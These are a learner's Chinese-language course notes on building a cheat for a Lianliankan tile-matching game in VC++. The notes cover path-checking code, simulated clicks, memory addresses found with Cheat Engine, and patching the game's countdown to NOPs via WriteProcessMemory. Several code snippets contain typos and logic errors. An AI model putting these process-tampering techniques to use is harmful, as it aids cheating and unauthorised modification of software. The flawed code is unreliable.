 

 

 ///////////////////////////////

 

首先還是要添加修改兩點間是直線的判斷函數

 

bool CheckLine(POINT p1,POINT p2) //檢測2點間 是否連通(存在一條全為0的直線路徑)

{

int x,y;

if (p1.x==p2.x)//兩點X坐標相同

{

for (y=p1.y;y<=p2.y;y++)

{

         //假如ChessData[y][p1.x]  Y的某一個點大於0則說明有棋子,就返回 false;

if (chessdata[y][p1.x]>0) return false;

}

}

else if (p1.y==p2.y)

{

         for (x=p1.x;x<=p2.x;x++)

 {//假如ChessData[p1.y][x] X某一點有棋子則大於0返回 false;

  if (chessdata[p1.y][x]>0) return false;

 }

}

 return true;

}

 

 

再添加除了直線的兩點函數檢測的代碼

 

bool check2p(POINT p1,POINT p2)

{  

 CChessPoint pa(p1),pb(p2);//初始化棋子類

 POINT p11,p22;//新建兩個變量指針,方便調用

 int x,y;//新建兩個整型變量,方便調用

//檢測 p1,p2 2個棋子 是否可以消除

if (p1.y==p2.y) // Y坐標相同的情況下 p1,p2 

{   

 if (CheckLine(pa.down,pb.up)) return true;//找到相同路線

 //pa,pb ; pa,p_1;pb,p_2;

 p11=p1;p22=p2;

 for (y=0;y<11;y++)

 {

   p11.y=p22.y=y;

//找到轉折的路線

          if heckLine(p11,p22)&&CheckLine(pa.up,p11)&&CheckLine(pb.up,p22))

  return true;

 }

}

 

 

本節全是在編寫VC代碼,思考如何判斷幾條連線,代碼也沒寫完,也沒測試,不知道對不對,時間到了,下節課繼續寫.

今天我們要一起學習的是1.3.5

  教學目標:  

    1.3.5 Check2p完整代碼實現

               a、完整的Ceheck2p代碼解析

               b、完善CheckLine函數              

   Check2P實現原理;

   分類:

Y坐標相同:pa=p1.left,pb=p2.right// pa,pb之間是否連通 則消除

 

  

X坐標相同: pa=p1.down,pb=p2.up //pa,pb之間是否連通 則消除

 

X,Y坐標都不相同

  pa,pb// p1,pa// pb,p2 這三線路 都連通 則可消除

  p1,pa,//pa,pb//p2,pb 這三線路 都連通 則可消除

    

  

   

 /////////////////////

 

本節課老師講課用了FLASH工具,比起之前用畫圖要強的多,使我一下子就理解了這幾個點之間的關系.

比如在兩點可以直連的情況下,第一個棋子是P1,第二個棋子是P2,第一個棋子與第二個棋子之間的點是PA到PB,這兩個點要不斷的循環,查找其中是否為空,如果為空則可以消除.當然這是橫向的連接,同時還有豎向的連接

 

Y坐標相同:pa=p1.left,pb=p2.right// pa,pb之間是否連通 則消除

 

 

 

.

 

當然更多的是折線的連接

X,Y坐標都不相同

  pa,pb// p1,pa// pb,p2 這三線路 都連通 則可消除

  p1,pa,//pa,pb//p2,pb 這三線路 都連通 則可消除

 

 

 

 

 

老師已經寫好了三個函數的代碼

 

 

bool CheckLine( POINT p1,POINT p2)

{

int x,y,t;    //同一線上的兩點間 全為0 則返回真 

 

  //如果 p1==p2 也返回真

  if ((p1.x==p2.x)&&(p1.y==p2.y) && (chessdata[p1.y][p1.x]==0) && (chessdata[p2.y][p2.x]==0))  {return  true;   }else

  if ((p1.x<0) || (p1.x>18) || (p1.y<0) || (p1.y>10) ||

     (p2.x<0) || (p2.x>18) || (p2.y<0) || (p2.y>10) )  {return  false; }

 

  if (p1.x==p2.x)     //如果X軸相等則 比較

               {

                    if (p1.y>p2.y) {t=p1.y;p1.y=p2.y;p2.y=t;}

                    for (y=p1.y;y<=p2.y;y++)

                     {

                       if (chessdata[y][p1.x]!=0 ) {return false;}

                     }

               } 

  if (p1.y==p2.y) 

              {    //如果Y軸相等 則比較

                  if (p1.x > p2.x)  {t=p1.x;p1.x=p2.x ;p2.x=t;}

                    for(x=p1.x;x<=p2.x;x++)

                     {

                       if (chessdata[p1.y][x]!=0 ) {return  false;}

                     };

              };

  return  true;

};

 

 

 

 

另一個函數,這個因為與窗口有關系,所以就轉移到llk_wgDlg.cpp里

bool  ClearPiar() //消除一對棋子

{    

//讀出棋盤數據至chessdata 11,19

     updateChess();

//遍歷整個棋盤 找出相同類型 一對棋子

 POINT p1,p2;

 int x1,y1,x2,y2;

  for (y1=0;y1<11;y1++)

  for (x1=0;x1<19;x1++)

  {   for (y2=y1;y2<11;y2++)

  for (x2=x1;x2<19;x2++)

  if ((chessdata[y1][x1]==chessdata[y2][x2]) // 棋子1與棋子2 類型是否相同

  &&(!((x1==x2)&&(y1==y2)))  //要求點1與點2 相等則假

  )

  {  

  p1.x=x1;p1.y=y1;

  p2.x=x2;p2.y=y2;

  //檢測 相同的2個棋子是否可消掉

 if ( Check2p(p1,p2))//如果可消除 則返回真

 {

 //click2p 鼠標模擬 點擊 p1,p2

 click2p(p1,p2);

 m_p1x=x1;

 m_p1y=y1;

 m_p2x=x2;

 m_p2y=y2;

 UpdateData(false);

 return true;

 

 }

  }

  }

return false;

}

 

還有一個最長的函數

 

bool Check2p(POINT a,POINT b)

 {

 CChessPoint p1(a),p2(b);

 POINT  pa,pb;//轉角點

 int x,y;

 

// 如果2點為同一點 則返回假

 if ((a.x==b.x) && (a.y==b.y ))  { return false;} else

       if ((chessdata[a.y][a.x]==0) || (chessdata[b.y][b.x]==0))    

                               { return false;} else

                 if (chessdata[a.y][a.x]!=chessdata[b.y][b.x])   

                             { return false;}

  

        pa=a;pb=b;

       // 在橫向一條線上 y坐標 相同

       if (a.y==b.y)  

                    {     // 2點在y軸相鄰

                           if ((p1.right.x==p2.p.x) || (p1.left.x==p2.p.x))      { return true;   }

                           //檢測 這條線是否有一條路徑相通

 

                           if (CheckLine(p1.right,p2.left )) {return true; }

                            //檢測 上下

                            //y 上

                            pa=a;pb=b;

                            if ((p1.up.y >=0) && (p1.up.y<=10)) 

                            for ( y=0 ;y<=p1.up.y;y++)

                              {

                                 pa.y=y;pb.y=y;

                                if (CheckLine(pa,p1.up) && CheckLine(pb,p2.up ) && CheckLine(pa,pb))  { return true; }

                              }

                              // y下

                               pa=a;pb=b;

                               if ((p1.down.y >=0)&& (p1.down.y <=10)) 

                            for ( y=p1.down.y;y<=10;y++)

                              {

                                 pa.y=y;pb.y=y;

                                if (CheckLine(pa,p1.down ) && CheckLine(pb,p2.down ) && CheckLine(pa,pb))  { return true; }                                                

                              }

 

                           //檢測 左右    因為 y軸相等,所以不存在左右路徑

 

                    } else

       //縱向一條線  x 坐標 相同

       if (a.x==b.x)

                    {

                        //x下上 相鄰不

                        if ((p1.down.y==p2.p.y ) || (p1.up.y==p2.p.y))   { return true;   }

                       //檢測 這條線是否有一條路徑相通

                       if (CheckLine(p1.down,p2.up) )  { return true;    }

                       //檢測 上下   國為x 軸相等 所以不存在路徑

 

                       //檢測 左右

                        //x左

                        pa=a;pb=b;

                        for (x=0 ;x<=p1.left.x ;x++)

                         {

                             pa.x=x;

                             pb.x=x;

                              if (CheckLine(pa,p1.left) && CheckLine(pb,p2.left ) && CheckLine(pa,pb))  { return true;  }

                         }

                        //x右

 

                        pa=a;pb=b;

                        for (x=p1.right.x;x<=18;x++)

                        {

                             pa.x=x;

                             pb.x=x;

                               if (CheckLine(pa,p1.right ) && CheckLine(pb,p2.right ) && CheckLine(pa,pb))  { return true;  }

                        }

                    } else

 

       //xy 坐標 都不相同 {{{{{{

                    {

                     pa=a;pb=b;

 

                     if (a.x>b.x)  {   // p2點 在 左 left

                    ////////////////xxxxxxxxxxxxxxxxx  找x軸路徑

                     for (x=0;x<=p2.left.x;x++)

                      {

                        pa.x=x;pb.x=x;

                        if (CheckLine(pa,p1.left) && CheckLine(pa,pb) && CheckLine(pb,p2.left))  

                                                                      {return true; }

 

                                                                    

                      } // end for

 

                      for (x=p2.right.x ;x<= p1.left.x;x++)

                       {

                         pa.x=x;pb.x=x;

                          if (CheckLine(p2.right,pb) && CheckLine(pa,pb)&& CheckLine(pa,p1.left))  {return true; }

                                                                                    

                       }

                      for (x=p2.right.x;x<=18;x++)

                      {

                        pa.x=x;pb.x=x;

                        if (CheckLine(p1.right ,pa)&& CheckLine(p2.right ,pb) && CheckLine(pa,pb))  { return true; }

 

                                                                             

                                                                             

 

                      }

                      /////////////////yyyyyyyyyyyyyyyyyyyy 找y軸路徑 由於是從上向下 搜索 所以p1.y>p2.y

                       pa.x=a.x;   pb.x=b.x; //初始化坐標 y軕漸變

                     for ( y=0 ;y<=p1.up.y;y++)    //1段

                       {

                       pa.y=y;pb.y=y;

                       if (CheckLine(pb,pa) && CheckLine(pa,p1.up) && CheckLine(pb,p2.up))      { return true;}

 

                                                                                                    

                       }

                       ////////////////////////

                     for (y=p1.down.y ;y<=p2.up.y;y++)//2段

                     {

                       pa.y=y;pb.y=y;

                      if (CheckLine(pb,pa)&& CheckLine(p1.down,pa) && CheckLine(pb,p2.up))   {

                                                                            return true;}

 

                                                                            

                     }

                      ///////////////////////

                     for (y=p2.down.y ;y<=10 ;y++) //3段

                     {

                     ///////////////////////////////

                     pa.y=y;pb.y=y;

                      if (CheckLine(pb,pa) && CheckLine(p1.down,pa) && CheckLine(p2.down,pb))   { return true;   }

                     }

 

                                    } else

               ////////////p2點  在 右 right a.x>b.x

                                      {

                                       pa.y=a.y;   pb.y=b.y; //初始化坐標

                                        for (x=0 ;x<= p1.left.x ;x++);

                                        {

                                        pa.x=x;pb.x=x;

                                         if (CheckLine(pa,pb)&& CheckLine(pa,p1.left)&& CheckLine(pb,p2.left))  {

                                                                                                    return true;}

 

                                                                                                    

                                        }

                                        /////////////////////

 

                                        for (x=p1.right.x ;x<=p2.left.x;x++)

                                        {

                                        pa.x=x;pb.x=x;

                                        if (CheckLine(pa,pb)&& CheckLine(p1.right,pa)&& CheckLine(pb,p2.left))  { return true;

 

                                                                                                              }

                                        }

                                        ///////////////////////

 

                                        for (x=p2.right.x ;x<=18;x++)

                                        {

                                        pa.x=0;pb.x=x;

                                        if (CheckLine(pa,pb) && CheckLine(p1.right,pa)&& CheckLine(p2.right,pb)) {return true; }

                                                                                                              

 

                                                                                                           

                                        }

               ///////////////////////yyyyyyyyyyyyyyyyyy   y軸漸變

                                    pa.x =a.x;   pb.x =b.x ; //初始化坐標

                                    if ((p1.up.y>=0) && (p1.up.y<=10))

{

                                    for (y=0 ;y<=p1.up.y ;y++)    //1段

                                    {

                                     pa.y=y;pb.y=y;

                                      if (CheckLine(pa,pb)&& CheckLine(pa,p1.up) && CheckLine(pb,p2.up))  { return true; }

 

                                                                                                                    

                                    }}

                                    //////

                                       pa.x =a.x;   pb.x =b.x ; //初始化坐標

                                     if ((p1.down.y<=10) && (p2.up.y>=0)) 

 {

                                    for (y=p1.down.y ;y<=p2.up.y;y++)  //2段

                                    {

                                     pa.y=y;pb.y=y;

                                     if (CheckLine(pa,pb)&& CheckLine(p1.down,pa) && CheckLine(pb,p2.up))  { return true;

}                                                                          }

                                    }

                                    ////

                                       pa.x =a.x;   pb.x =b.x ; //初始化坐標

                                    if (p2.down.y <=10) 

{

                                    for ( y=p2.down.y;y<=10;y++)           //3段

                                    {

                                     pa.y=y;pb.y=y;

                                     if (CheckLine(pa,pb) && CheckLine(p1.down,pa)&& CheckLine(p2.down ,pb))  { return true; }

 

}                                                                          

                                    }

 

                                      }

 

 

                    }

 

         //xy 坐標 都不相同 }}}}}}}}}

  return false;

}

 

 

這節課的代碼實在太長了,老師也是先自己寫好了再發出來的,他說如果在教程中寫代碼的話起碼要1個小時.添加一個按鈕兩個編輯框,將代碼來測試一下,先單消一次看看,好像已經找到能夠消除的棋子了,但是還沒有實現自動點擊,下節課繼續……

這節課太難懂了,本來還想通過課程學學VC代碼,但是感覺更暈了.

今天我們要一起學習的是1.3.6

 

  教學目標:  

     1.3.6 Click2p函數實現,單消棋子功能實現

               a、完成Click2p函數

               b、單消一對棋子的實現

               c、修改ClearPair函數

 

 棋盤第一格 坐標 x=21,y=192

31*35 棋子寬度,高度

SendMessage(hwnd,WM_LBUTTONDOWN,0,(y<<16)+x+31*2);//

SendMessage(hwnd,WM_LBUTTONUP,0,(y<<16)+x);  // 

 

bool Click2p(POINT p1,POINT p2)

{

 //點擊p1

HWND hwnd=FindWindow(NULL,gameCaption);

 int lparam;

 lparam=((p1.y*35+192)<<16)+(p1.x*31+21);

SendMessage(hwnd,WM_LBUTTONDOWN,0,lparam);//

SendMessage(hwnd,WM_LBUTTONUP,0,lparam);//

 //點擊p2

lparam=((p2.y*35+192)<<16)+(p2.x*31+21);

SendMessage(hwnd,WM_LBUTTONDOWN,0,lparam);//

SendMessage(hwnd,WM_LBUTTONUP,0,lparam);//

 return true;

}

    

  

   

 //////////////////////

 

前面的代碼只是分析出可消除的棋子,並沒有實現真正消除,所以本節課將模擬鼠標點擊,發送鼠標信息來實現自動消除棋子

bool Click2p(POINT p1,POINT p2)//點擊兩點函數

{

 //點擊p1

HWND hwnd=FindWindow(NULL,gameCaption);//查找游戲窗口

 int lparam;//定義參數

//192是棋盤距離窗口上面的距離,21是棋盤距離左邊的距離

 lparam=((p1.y*35+192)<<16)+(p1.x*31+21);//通過棋子格子計算位置

SendMessage(hwnd,WM_LBUTTONDOWN,0,lparam);//鼠標按下

SendMessage(hwnd,WM_LBUTTONUP,0,lparam);//鼠標抬起

 //點擊p2

lparam=((p2.y*35+192)<<16)+(p2.x*31+21);//計算配對棋子位置

SendMessage(hwnd,WM_LBUTTONDOWN,0,lparam);//

SendMessage(hwnd,WM_LBUTTONUP,0,lparam);//

return true;

 

}

 

 

代碼添加完之后掛上游戲測試了一下,發現開始可以消除棋子,后面就不動了,再繼續查找代碼,分析哪里出錯.

將bool CLlk_wgDlg::ClearPiar() 函數的

for (x1=x1;x1<19;x1++)

改為

for (x1=0;x1<19;x1++)//不要限制其格子數

還要將for (x2=x1;x2<19;x2++)

改成for (x2=0;x2<19;x2++)

 

這回可以消除所有棋子了

 

這節課才14分鍾,代碼寫的比較少,相比上節的代碼簡單太多了,很容易理解,老師上節的代碼也沒仔細講解一下………..看看后面有沒有講,如果沒講我就讓他有空給講講,嘿嘿.

 

其實記筆記主要是記課程當中都講了什么內容,以便以后查閱起來方便.

今天我們要一起學習的是1.3.7

 

  教學目標:  

      1.3.7 掛機/秒殺/

             a、自動開局

             b、掛機下棋

             c、秒殺

 

 UINT SetTimer(

  HWND hWnd,              // 指向窗口句柄 

  UINT nIDEvent,          // 時鍾標識

  UINT uElapse,           // 時間間隔 (毫秒)

  TIMERPROC lpTimerFunc   // 指向回調函數的地址

);

 

 KillTimer(UINT nIDEvent);          // 時鍾標識

 

VOID CALLBACK playproc(

  HWND hwnd,     // handle of window for timer messages

  UINT uMsg,     // WM_TIMER message

  UINT idEvent,  // timer identifier

  DWORD dwTime   // current system time

)

{

 ClearPiar();

}

VOID CALLBACK strartproc(

  HWND hwnd,     // handle of window for timer messages

  UINT uMsg,     // WM_TIMER message

  UINT idEvent,  // timer identifier

  DWORD dwTime   // current system time

)

{

 startGame(); //自動開局

}

 

const PLAYID=111;

 const STARTID=112;

void CLlk_wgDlg::OnCheck1() 

{

// TODO: Add your control notification handler code here

UpdateData(true);//更新窗口內容至變量

if (m_autoplay)

{

SetTimer(PLAYID,1500,&playproc);

} else

{

KillTimer(PLAYID);

}

}

 

void CLlk_wgDlg::OnCheck2() 

{

// TODO: Add your control notification handler code here

UpdateData(true);//更新窗口內容至變量

if (m_autoplay)

{

SetTimer(STARTID,3*1000,&strartproc);

} else

{

KillTimer(STARTID);

}

}

 

//////////////上面都是教案中的內容,下面是我記錄的內容/////////

 

在窗口上添加一個復選框CheckBox,設置為自動開局,再關聯兩個變量

M_autoplay / M_autostart

為了運用這兩個變量在函數中,又重新調整了一下頭llk_wgDlg.cpp中的函數,都是在定義全局變量/標識符一類的代碼調整,對我這個沒有VC++基礎的人來講,有點看不懂.

 

這是添加復選框后的界面

 

 

在”自動掛機”和”自動開局”中添加如下代碼

 

const PLAYID=111;//定義一個數值方便調用,不要重復

 const STARTID=112;//可以隨便取數,不要重復

 

void CLlk_wgDlg::OnCheck1() //如果復選框被選中則執行

{

// TODO: Add your control notification handler code here

UpdateData(true);//更新窗口內容至變量

if (m_autoplay)//如果變量被設置則運行

{

SetTimer(PLAYID,1500,&playproc);//自動掛機

} else

{

KillTimer(PLAYID);//關掉定時器,不執行回調函數

}

}

 

void CLlk_wgDlg::OnCheck2() 

{

// TODO: Add your control notification handler code here

UpdateData(true);//更新窗口內容至變量

if (m_autoplay) //如果變量被設置則運行

{

SetTimer(STARTID,3*1000,&strartproc);//自動開局

} else//如果沒有被選中的話

{

KillTimer(STARTID);

}

}

 

 

 

代碼我做了比較多的注釋,基本上像我這樣的新手都能理解了.我發現VC++與DELPHI在編寫代碼上確實存在很多不同之處,比如在時間的設置上,DELPHI中是加入時間控件,而VC++中卻是添加 了一個函數SetTimer,感覺有點不太習慣,但人家說了,VC++是專業人員用的,這就代表着專業唄 ^_^

  

 今天我們要一起學習的是1.3.8

  1.3.8  游戲外掛界面美化

             a、添加進度條

             b、界面調整

             c、Slider控件屬性設置

BOOL MoveWindow(

  HWND hWnd,      // 窗口句柄

  int X,          // 水平坐標X

  int Y,          // 垂直坐標Y

  int nWidth,     // 寬度

  int nHeight,    // 高度

  BOOL bRepaint   // 是否重畫窗口 true,false

);

 

 

//::MoveWindow(this->m_hWnd,0,0,330,200,true);

MoveWindow(0,0,330,200,true);

  滑塊(slider)

    void SetTicFreq(int nFreq);

    int GetPos() const;

    void SetRange(int nMin, int nMax, BOOL bRedraw = FALSE);

  

MoveWindow(0,0,330,200,true);

this->m_ctl_slider.SetRange(50,3000); //設置滑塊的 最小值 最大值

this->m_ctl_slider.SetTicFreq(150);   //分隔線 寬度

this->m_ctl_slider.SetPos(1000);      //滑塊 位置

this->m_ctl_check.SetCheck(true);    //選中復選框

 

 

//////////////////////////////

 

 

這節課是要界面美化,因為前期的核心代碼已經編寫了.更改界面,要刪除一些不用的控件,因為控件與代碼是關聯的,所以一個懶辦法就是將不用的控件移到窗口外面,這樣就看不到了.

 

如果對窗口的調整還不滿意,就用編程來實現,因為用代碼設置窗口及控件大小最精確了.注意MoveWindow函數,如果是全局使用則是6個參數,局部使用就是5個參數

 

再給滑塊條設置一下分隔線:建立控件變量m_ctl_slider,然后查看一下該變量的定義,用於參考代碼寫法,這幾個就是滑塊的類成員函數

  滑塊(slider)

    void SetTicFreq(int nFreq);

    int GetPos() const;

    void SetRange(int nMin, int nMax, BOOL bRedraw = FALSE);

 

設置好手放在窗口的初始化處,也就是llk_wgDlg.cpp里的

BOOL CLlk_wgDlg::OnInitDialog() 函數

這樣在啟動時就會設置好控件樣式

在MoveWindow(0,0,330,200,true);下面添加代碼

this->m_ctl_slider.SetRange(50,3000); //設置滑塊的 最小值 最大值

this->m_ctl_slider.SetTicFreq(150);   //分隔線 寬度

this->m_ctl_slider.SetPos(1000);      //滑塊 位置

 

 

用編輯框測試一下滑塊,調整好樣式.

再設置一下”掛機速度調節”復選框來開啟/關閉 滑塊功能

這個需要先建立一個BOOL類型的變量m_sliderenable 來進行控制,添加代碼如下

void CLlk_wgDlg::OnCheck3() 

{

// TODO: Add your control notification handler code here

UpdateData(true);

::EnableWindow(m_ctl_slider.m_hWnd,m_sliderenable);//通過這個復選框來控制滑塊條是否可用

}

 

還要設置這個掛機速度調節初始默認為開啟,還需要在該控件中建立一個變量m_ctl_check

 

最終的代碼設置如下

在MoveWindow(0,0,330,200,true);下面添加代碼

this->m_ctl_slider.SetRange(50,3000); //設置滑塊的 最小值 最大值

this->m_ctl_slider.SetTicFreq(150);   //分隔線 寬度

this->m_ctl_slider.SetPos(1000);      //滑塊 位置

this->m_ctl_check.SetCheck(true);    //選中復選框

 

設置的代碼都在上面的教案里.感覺VC++的MFC不如DELPHI的窗體/控件用着方便,而且是非常的麻煩,當然也有的人用BCB,可能也是這個原因.

 

  

 今天我們要一起學習的是1.3.9

  1.3.9 倒計時與棋子數(基址查找)

             a、查找棋子數  //為了優化 自動開局 

             b、查找倒計時  //這個倒計時有點討厭,去掉它

             c、開局的標志:

  1、棋子數:$001166E0

    1Byte,變更棋子數 :掃描類型 :精確數值

  2、倒計時基址:$00118088查找

   0

   t=t-n; //3000-10;

 1、棋子數:    $001166E0 //沒開局之前 0, 開局之后 大於0

 2、倒計時基址:$00118088  //毫秒

 3、開局的標志:01C3A7B4,01C4EF74,01C61F9C,01C84CF4 //boolean

 

 

///////////////////////////

 

前面的代碼雖然可以自動下棋了,但是有關於自動開局這里還不智能,所以要增加一個棋子數的判斷,當棋子為空時就要點擊”開始”按鈕,多找幾次就找到了剩余棋子數的地址.同時為了豐富功能,還要查找倒計時功能,將倒計時去掉.而倒計時是個進度條,沒有確切的數值,所以我們只好猜測,假設未開局時是0,如果剛一開始的時候估計其值可能會大於100,然后再查找不斷減少的數值,最后走完就是0,注意這個值是4字節的.

找到了這兩個數值我們如何做呢?可以將倒計時的數值鎖定,或者將其時間控件給去掉;棋子數是我們用來監測是否在開局中,那么我們再來查找一下在游戲中是否有開局的數值,我們猜測未開局時是0,開局后是1,因為這都是編程時的真與假的設置

 

本節課是CE工具的經典使用

  

 今天我們要一起學習的是1.4.1

1.4.1 優化自動開局函數StartGame 

             a、讓游戲窗口高高在上

             b、優化開局函數

參考 1.3.9 

    3、開局的標志:01C3A7B4,01C4EF74,01C61F9C,01C84CF4 //開局 時為1 未開局為0

int flag;//這個值為0時 執行 StartGame;

 

 

 HWND gameh=::FindWindow(NULL,gameCaption);

 //AfxMessageBox("Findwindow");

if (gameh==0) { return;} //沒有找到游戲窗口

//讓游戲窗口置頂

SetWindowPos(gameh,HWND_TOP,0,0,0,0,SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);

//AfxMessageBox("GetWindowThreadProcessId");

//

DWORD pid;

::GetWindowThreadProcessId(gameh,&pid);

long flag,byReadSize;

HANDLE hp=OpenProcess(PROCESS_ALL_ACCESS,false,pid);

::ReadProcessMemory(hp,(LPCVOID)(0x01C3A7B4),(LPVOID)(&flag),4,(LPDWORD) (&byReadSize));

if (byReadSize==0) {AfxMessageBox("未成功讀出數據");}

if ((flag==0)&&(byReadSize>0)) { startGame();} //自動開局

 

 

////////////////////////////////

 

將上節課中找到的游戲開局4個地址寫入代碼中,寫在計時器的回調函數里

在這個函數里

 

VOID CALLBACK strartproc(

  HWND hwnd,     // handle of window for timer messages

  UINT uMsg,     // WM_TIMER message

  UINT idEvent,  // timer identifier

  DWORD dwTime   // current system time

)

 

添加如下代碼

 

{   HWND gameh=::FindWindow(NULL,gameCaption);

if (gameh==0) { return;} //沒有找到游戲窗口

//讓游戲窗口置頂,最后參數是忽略掉前面的參數

SetWindowPos(gameh,HWND_TOP,0,0,0,0,SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);

DWORD pid;//建立進程ID變量

::GetWindowThreadProcessId(gameh,&pid);//通過窗口找進程ID,參數1窗口句柄,參數2得到的ID

long flag,byReadSize;//定義變量用於指針

HANDLE hp=OpenProcess(PROCESS_ALL_ACCESS,false,pid);//打開線程,參數1為打開權限,參數2為進程派生,參數3為打開句柄ID

::ReadProcessMemory(hp,(LPCVOID)(0x01C3A7B4),(LPVOID)(&flag),4,(LPDWORD) (&byReadSize));//讀取內存,參數1進程句柄,參數2被讀進程指針,參數3保存數據指針,參數4讀取字節浸透,參數5實際字節數

if (byReadSize==0) {AfxMessageBox("未成功讀出數據");}//檢測數據是否讀出

if ((flag==0)&&(byReadSize>0)) { startGame();} //自動開局

}

 

 

這節課老師改了很長時間的代碼,看來VC編程確實不容易,連老手都需要多次做測試,哎~ 憑我的水平,我想我只要能讀懂VC代碼就行了,真正寫的時候還是用DELHPI吧.

  

 今天我們要一起學習的是1.4.2

1.4.2 去掉游戲倒計時限制  

             a、找到計時代碼

             b、動態修改游戲代碼(OD使用初探)

             c、去掉計時限制      

參考:1.3.9

  2、倒計時基址:$00118088  //秒

 

 分析寫入 倒計時的代碼:   

 

0042646d:mov [eax+000047E4],edx //初始化 倒計時的值

00426526:mov [eax+000047E4],ecx //更新 倒計時的值 =減1

00426526:

 

byte acode[6]={0x90,0x90,0x90,0x90,0x90,0x90};//要將代碼NOP掉

bool ClearCode()

{

 HWND gameh=::FindWindow(NULL,gameCaption);

if (gameh==0) { return;} //沒有找到游戲窗口

  

DWORD pid;

::GetWindowThreadProcessId(gameh,&pid);

long byWriteSize;

HANDLE hp=OpenProcess(PROCESS_ALL_ACCESS,false,pid);

::WriteProcessMemory(hp,(LPCVOID)(0x00426526),(LPVOID)(acode),6,(LPDWORD) (&byWriteSize));//寫入NOP代碼

}

 

 

 

///////////////////////////////////////////

 

先將寫入倒計時找到,用OD附加游戲,來到修改倒計時的匯編代碼處,多試幾次,看看哪行代碼是關鍵的?試試將關鍵代碼NOP掉看看

 

 

 

也就是在00426526這里連續寫入6個90的數值,90就是NOP,也就是空操作.接下來在VC里編寫代碼,讓咱們的外掛自己修改游戲的關鍵地址為6個90,代碼已經在教案里了(上面的藍字)

至於寫入的函數WriteProcessMemory的參數,與ReadProcessMemory函數的參數是一樣的,只是讀出字節數和寫入字節數的區別(詳細附后).

再新增一個復選框”去掉游戲倒計時”,用來開啟修改掉倒計時代碼

void CLlk_wgDlg::OnCleartimer() 

{

// TODO: Add your control notification handler code here

if (ClearCode()) {m_ctl_cleartime.EnableWindow(false);} //禁用它

else { m_ctl_cleartime.SetCheck(false);}

}

 

 

WriteProcessMemory 函數原型: 
  Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long 
  作用:寫內存 
  說明: 
  hProcess , 進程的句柄 
  lpBaseAddress, 寫入進程的位置(地址) 
  lpBuffer, 數據當前存放地址 
  nSize, 數據的長度 
  lpNumberOfBytesWritten,實際數據的長度 
  nSize以字節為單位,一個字節Byte等於8位 
  基本數據類型的長度 
  ShortInt 8位 = 1Byte 
  SmallInt 16位 = 2Byte 
  Integer 16位 = 2Byte 
  LongInt 32位 = 4Byte 
  Word 16位 = 2Byte 
  LongWord 32位 = 4Byte 
  Boolean 8位 = 1Byte 
  WordBool 16位 = 2Byte 
  LongBool 32位 = 4Byte 
  比如要寫入Integer類型的數據,那么Integer長度2Byte 
  所以nSize = 2

  

 今天我們要一起學習的是1.4.3

 1.4.3 編寫完整外掛 

            a、功能測試

            b、修改完善外掛

 

秒殺: 1、棋子數:    $001166E0 //沒開局之前 0, 開局之后 大於0

int chessnum=ReadChessNum();

void KillAll()//秒殺

{

// TODO: Add your control notification handler code here

while (chessnum!=0)

{

ClearPiar();

//Sleep(1); //0x001166E0 棋子數=0時退出

chessnum=ReadChessNum();

}

}

int ReadChessNum() //讀出當前 棋子數

{

// TODO: Add your control notification handler code here

//獲取窗口句柄

HWND gameh=::FindWindow(NULL,gameCaption);

//獲取窗口進程ID

DWORD processid;

::GetWindowThreadProcessId(gameh,&processid);

//打開指定進程

HANDLE processH=::OpenProcess(PROCESS_ALL_ACCESS,false,processid);

//讀指定進程 內存數據

    DWORD byread;

LPCVOID pbase=(LPCVOID)0x001166E0 ; //棋子數據基址

int ChessNum;

LPVOID  nbuffer=(LPVOID)&ChessNum;    //存放棋子數據

::ReadProcessMemory(processH,pbase,nbuffer,4,&byread);

return ChessNum;

}

 

       

////////////////////////////////////////

 

再繼續完善我們之前的代碼,修改一下窗口置頂的代碼,因為置頂的選項里沒有關聯變量,所以不能控制該選項框,新增一個變量m_gametop ,然后再加入代碼

 

void CLlk_wgDlg::OnGameTop() 

{

UpdateData(true); //更新窗口數據至變量

gametop=m_gametop;

if( m_gametop)//當變量值為真時則置頂

{

HWND gameh=::FindWindow(NULL,gameCaption);  

         if (gameh==0) { return;} //沒有找到游戲窗口

           //讓游戲窗口置頂

  ::SetWindowPos(gameh,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW); //窗口置頂函數

}

   else //如果沒有窗口被找到

   {

   HWND gameh=::FindWindow(NULL,gameCaption);  

         if (gameh==0) { return;} //沒有找到游戲窗口

            ::SetWindowPos(gameh,HWND_NOTOPMOST,0,0,0,0,SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW); //取消置頂

   }

}

 

再繼續添加棋子數功能void CLlk_wgDlg::OnClearAll() 函數在上面教案里,這個就是秒殺功能.但是還需要讀出棋子數,函數是int ReadChessNum(),在上面教案里.然后再調整一下秒殺功能.然后再調整一下置頂功能,

 

//讓游戲窗口置頂

if (gametop)//新建的變量方便設置

 {//選中則置頂

SetWindowPos(gameh,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);

 } else

 {//未選中則不置頂

 SetWindowPos(gameh,HWND_TOP,0,0,0,0,SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);

 

 }

今天我們要一起學習的是1.4.4

 1.4.4 初級篇小結 

            a、游戲分析小結

            b、編程小結

 知識點:

1、GetWindowRect//窗口信息的獲取

BOOL GetWindowRect(

  HWND hWnd,      // handle to window

  LPRECT lpRect   // 存放返回值的首地址 RECT

);

 

2、SetCursorPos//設置鼠標指針

BOOL SetCursorPos(

  int X,  //X

  int Y   //Y

);

 

3、mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);//硬件模擬鼠標

 

4、FindWindow               //獲取窗口句柄

HWND FindWindow(

  LPCTSTR lpClassName,  //窗口類名 NULL

  LPCTSTR lpWindowName  //窗口標題 NULL

);

 

5、GetWindowThreadProcessId //獲取窗口進程ID

DWORD GetWindowThreadProcessId(

  HWND hWnd,             // handle to window

  LPDWORD lpdwProcessId  // 指向變量的指針 用來返回進程PID

);

 

6、OpenProcess              //打開指定進程

HANDLE OpenProcess(

  DWORD dwDesiredAccess,  // 訪問權限 標記

  BOOL bInheritHandle,    // false;

  DWORD dwProcessId       // lpdwProcessId  進程ID標識

);

 

